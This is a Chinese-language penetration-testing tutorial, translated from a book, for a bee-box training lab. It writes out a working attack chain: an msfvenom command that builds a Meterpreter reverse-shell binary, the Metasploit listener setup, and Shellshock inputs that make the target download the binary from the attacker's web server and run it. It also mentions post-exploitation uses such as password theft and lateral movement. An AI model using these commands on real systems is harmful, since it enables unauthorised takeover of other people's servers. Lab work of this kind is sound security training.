翻译来自:掣雷小组
成员信息:
thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt
7.3、利用metasploit创建并反弹shell
当我们在服务器上获得一个命令执行的权限时会发现有些命令会受到种种拘束,所以我们下一步做的事情是需要将这个权限升级为交互式的shell,并最终以管理员或系统权限运行该shell
在这个教程中,我们将学习如何用metasploit的msfvenom来创建一个可执行程序,该程序可以反弹出被控主机的连接,并生成一个高级shell,以便进一步利用服务器。
实战演练
首先启动靶机和攻击机,然后执行下列步骤:
1. 首先我们用msfvenom生成一个反弹shell的程序,将返回的连接地址修改为攻击机的ip地址。在kali中打开终端,输入:
msfvenom -p linux/x86/meterpreter/reverse_tcpLHOST=192.168.56.10 LPORT=4443 -f elf > cute_dolphin.bin
这将创建一个名为cute_dolphin.bin的文件,这是一个linux的反向连接shell,它会使靶机连接到我们监听的端口上,而不是我们去连接靶机的端口。
2. 接下来我们需要创建侦听。打开msfconsole,然后输入以下命令:
use exploit/multi/handler
set payloadlinux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
run
可以看到,payload,lhost,lport都是我们创建bin文件的参数,这是指程序要连接的ip和端口。我们按下面的来配置:
3. 一切准备就绪,我们开始攻击的流程。在根目录启动apache服务:
service apache2 start
4. 然后将恶意文件移动到web服务器路径下:
cp cute_dolphin.bin /var/www/html/
5. 我们知道bee-box有一个远程命令执行的漏洞,我们来利用一下它:
() { :;}; echo "Vulnerable:" $(/bin/sh-c "/usr/bin/wget http://192.168.56.10/cute_dolphin
接着我们还需要构造执行下载文件权限的语句:
chmod +x /tmp/cute_dolphin.bin
然后查看是否下载成功:
ls -l /tmp/cute_dolphin.bin
如下面图所示,已经成功的利用了漏洞并下载了恶意文件:
6. 接着再次利用命令执行运行该恶意文件:
() { :;}; echo "Vulnerable:"$(/tmp/cute_dolphin.bin")
7. 如果一切正常,metasploit侦听器就会收到一个连接请求:
8. 成功反弹shell后,我们可以输入help查看meterpreter的功能,并执行相应命令:
原理剖析
msfvenom可以帮助我们从大量的metasploit有效负载中创建需要的负载,并合并到许多语言的源代码中,或者像刚刚做的那样创建可执行文件
这里使用的payload(linux/x86/meterpreter/reverse_tcp),要连接回的主机和端口(lhost,lport)以及输出格式(-f elf)都会整合到cute_dolphin.bin中。
Metasploit的exploit/multi/handler模块是一个有效负载处理程序,它只处理在受损主机中执行的有效负载连接。在这个例子中,我们使用它建立了一个反弹侦听程序Meterpreter是metasploit的后渗透利用工具。尽管linux下的功能相比windows更有限,但是也可以被利用来嗅探网络,提权和密码获取。我们还可以利用它作为一个跳板机访问受害者的网络,进行横向内网渗透。